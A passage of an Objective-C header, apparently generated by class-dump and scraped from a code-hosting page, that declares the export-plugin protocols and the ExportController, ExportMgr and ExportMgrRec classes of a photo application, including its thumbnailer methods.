- (void)setThumbnailer:(void *)fp12 rotation:(float)fp20;
|
||||
- (float)thumbnailerRotation:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20;
|
||||
- (unsigned int)thumbnailerOutputFormat:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20;
|
||||
- (id)thumbnailerOutputExtension:(void *)fp16;
|
||||
- (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28;
|
||||
- (struct _NSSize)lastImageSize:(void *)fp20;
|
||||
- (struct _NSSize)lastThumbnailSize:(void *)fp16;
|
||||
@end
|
||||
|
||||
@protocol ExportPluginBoxProtocol
|
||||
- (BOOL)performKeyEquivalent:(id)fp16;
|
||||
@end
|
||||
|
||||
@protocol ExportPluginProtocol
|
||||
- (id)initWithExportImageObj:(id)fp16;
|
||||
- (id)settingsView;
|
||||
- (id)firstView;
|
||||
- (id)lastView;
|
||||
- (void)viewWillBeActivated;
|
||||
- (void)viewWillBeDeactivated;
|
||||
- (id)requiredFileType;
|
||||
- (BOOL)wantsDestinationPrompt;
|
||||
- (id)getDestinationPath;
|
||||
- (id)defaultFileName;
|
||||
- (id)defaultDirectory;
|
||||
- (BOOL)treatSingleSelectionDifferently;
|
||||
- (BOOL)validateUserCreatedPath:(id)fp16;
|
||||
- (void)clickExport;
|
||||
- (void)startExport:(id)fp16;
|
||||
- (void)performExport:(id)fp16;
|
||||
- (CDAnonymousStruct12 *)progress;
|
||||
- (void)lockProgress;
|
||||
- (void)unlockProgress;
|
||||
- (void)cancelExport;
|
||||
- (id)name;
|
||||
- (id)description;
|
||||
@end
|
||||
|
||||
@interface ExportController : NSObject
|
||||
{
|
||||
id mWindow;
|
||||
id mExportView;
|
||||
id mExportButton;
|
||||
id mImageCount;
|
||||
ExportMgr *mExportMgr;
|
||||
ExportMgrRec *mCurrentPluginRec;
|
||||
ProgressController *mProgressController;
|
||||
BOOL mCancelExport;
|
||||
NSTimer *mTimer;
|
||||
NSString *mDirectoryPath;
|
||||
}
|
||||
|
||||
- (void)awakeFromNib;
|
||||
- (void)dealloc;
|
||||
- (id)currentPlugin;
|
||||
- (id)currentPluginRec;
|
||||
- (void)setCurrentPluginRec:(id)fp12;
|
||||
- (id)directoryPath;
|
||||
- (void)setDirectoryPath:(id)fp12;
|
||||
- (void)show;
|
||||
- (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20;
|
||||
- (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20;
|
||||
- (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16;
|
||||
- (BOOL)panel:(id)fp12 isValidFilename:(id)fp16;
|
||||
- (BOOL)filesWillFitOnDisk;
|
||||
- (void)export:(id)fp12;
|
||||
- (void)_exportThread:(id)fp12;
|
||||
- (void)_exportProgress:(id)fp12;
|
||||
- (void)startExport:(id)fp12;
|
||||
- (void)finishExport;
|
||||
- (void)cancelExport;
|
||||
- (void)cancel:(id)fp12;
|
||||
- (void)enableControls;
|
||||
- (id)window;
|
||||
- (void)disableControls;
|
||||
- (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16;
|
||||
- (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16;
|
||||
- (void)selectExporter:(id)fp12;
|
||||
- (id)exportView;
|
||||
- (BOOL)_hasPlugins;
|
||||
- (void)_resizeExporterToFitView:(id)fp12;
|
||||
- (void)_updateImageCount;
|
||||
|
||||
@end
|
||||
|
||||
@interface ExportMgr : NSObject <ExportImageProtocol>
|
||||
{
|
||||
ArchiveDocument *mDocument;
|
||||
NSMutableArray *mExporters;
|
||||
Album *mExportAlbum;
|
||||
NSArray *mSelection;
|
||||
ExportController *mExportController;
|
||||
}
|
||||
|
||||
+ (id)exportMgr;
|
||||
+ (id)exportMgrNoAlloc;
|
||||
- (id)init;
|
||||
- (void)dealloc;
|
||||
- (void)releasePlugins;
|
||||
- (void)setExportController:(id)fp12;
|
||||
- (id)exportController;
|
||||
- (void)setDocument:(id)fp12;
|
||||
- (id)document;
|
||||
- (void)updateDocumentSelection;
|
||||
- (unsigned int)count;
|
||||
- (id)recAtIndex:(unsigned int)fp12;
|
||||
- (void)scanForExporters;
|
||||
- (unsigned int)imageCount;
|
||||
- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12;
|
||||
- (id)imagePathAtIndex:(unsigned int)fp12;
|
||||
- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
|
||||
- (unsigned int)imageFormatAtIndex:(unsigned int)fp12;
|
||||
- (id)imageCaptionAtIndex:(unsigned int)fp12;
|
||||
- (id)thumbnailPathAtIndex:(unsigned int)fp12;
|
||||
- (id)imageDictionaryAtIndex:(unsigned int)fp12;
|
||||
- (float)imageAspectRatioAtIndex:(unsigned int)fp12;
|
||||
- (id)albumName;
|
||||
- (id)albumMusicPath;
|
||||
- (unsigned int)albumCount;
|
||||
- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12;
|
||||
- (id)imageRecAtIndex:(unsigned int)fp12;
|
||||
- (id)currentAlbum;
|
||||
- (void)enableControls;
|
||||
- (void)disableControls;
|
||||
- (id)window;
|
||||
- (void)clickExport;
|
||||
- (void)startExport;
|
||||
- (void)cancelExport;
|
||||
- (void)cancelExportBeforeBeginning;
|
||||
- (id)directoryPath;
|
||||
- (void)_copySelection:(id)fp12;
|
||||
- (id)temporaryDirectory;
|
||||
- (BOOL)doesFileExist:(id)fp12;
|
||||
- (BOOL)doesDirectoryExist:(id)fp12;
|
||||
- (BOOL)createDir:(id)fp12;
|
||||
- (id)uniqueSubPath:(id)fp12 child:(id)fp16;
|
||||
- (id)makeUniquePath:(id)fp12;
|
||||
- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16;
|
||||
- (id)makeUniqueFileNameWithTime:(id)fp12;
|
||||
- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16;
|
||||
- (id)pathForFSSpec:(id)fp12;
|
||||
- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20;
|
||||
- (id)pathForFSRef:(struct FSRef *)fp12;
|
||||
- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16;
|
||||
- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16;
|
||||
- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20;
|
||||
- (BOOL)isAliasFileAtPath:(id)fp12;
|
||||
- (id)pathContentOfAliasAtPath:(id)fp12;
|
||||
- (id)stringByResolvingAliasesInPath:(id)fp12;
|
||||
- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16;
|
||||
- (id)validFilename:(id)fp12;
|
||||
- (id)getExtensionForImageFormat:(unsigned int)fp12;
|
||||
- (unsigned int)getImageFormatForExtension:(id)fp12;
|
||||
- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36;
|
||||
- (void *)createThumbnailer;
|
||||
- (void *)retainThumbnailer:(void *)fp12;
|
||||
- (void *)autoreleaseThumbnailer:(void *)fp12;
|
||||
- (void)releaseThumbnailer:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24;
|
||||
- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 quality:(int)fp16;
|
||||
- (int)thumbnailerQuality:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 rotation:(float)fp36;
|
||||
- (float)thumbnailerRotation:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16;
|
||||
- (unsigned int)thumbnailerOutputFormat:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16;
|
||||
- (id)thumbnailerOutputExtension:(void *)fp12;
|
||||
- (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20;
|
||||
- (struct _NSSize)lastImageSize:(void *)fp16;
|
||||
- (struct _NSSize)lastThumbnailSize:(void *)fp16;
|
||||
|
||||
@end
|
||||
|
||||
@interface ExportMgrRec : NSObject
|
||||
{
|
||||
NSString *mPath;
|
||||
NSBundle *mBundle;
|
||||
id mPlugin;
|
||||
struct _NSSize mViewSize;
|
||||
}
|
||||
|
||||
- (void)dealloc;
|
||||
- (BOOL)isEqual:(id)fp12;
|
||||
- (id)description;
|
||||
- (id)initWithPath:(id)fp12;
|
||||
- (id)path;
|
||||
- (id)bundle;
|
||||
- (id)bundleInfo;
|
||||
- (BOOL)isValidExportPlugin;
|
||||
- (BOOL)loadPlugin;
|
||||
- (id)exportPlugin;
|
||||
- (void)unloadPlugin;
|
||||
- (id)view;
|
||||
- (struct _NSSize)viewSize;
|
||||
- (void)setPath:(id)fp12;
|
||||
- (void)setBundle:(id)fp12;
|
||||
|
||||
@end
|
||||
|
||||
Reference in New Issue
Block a user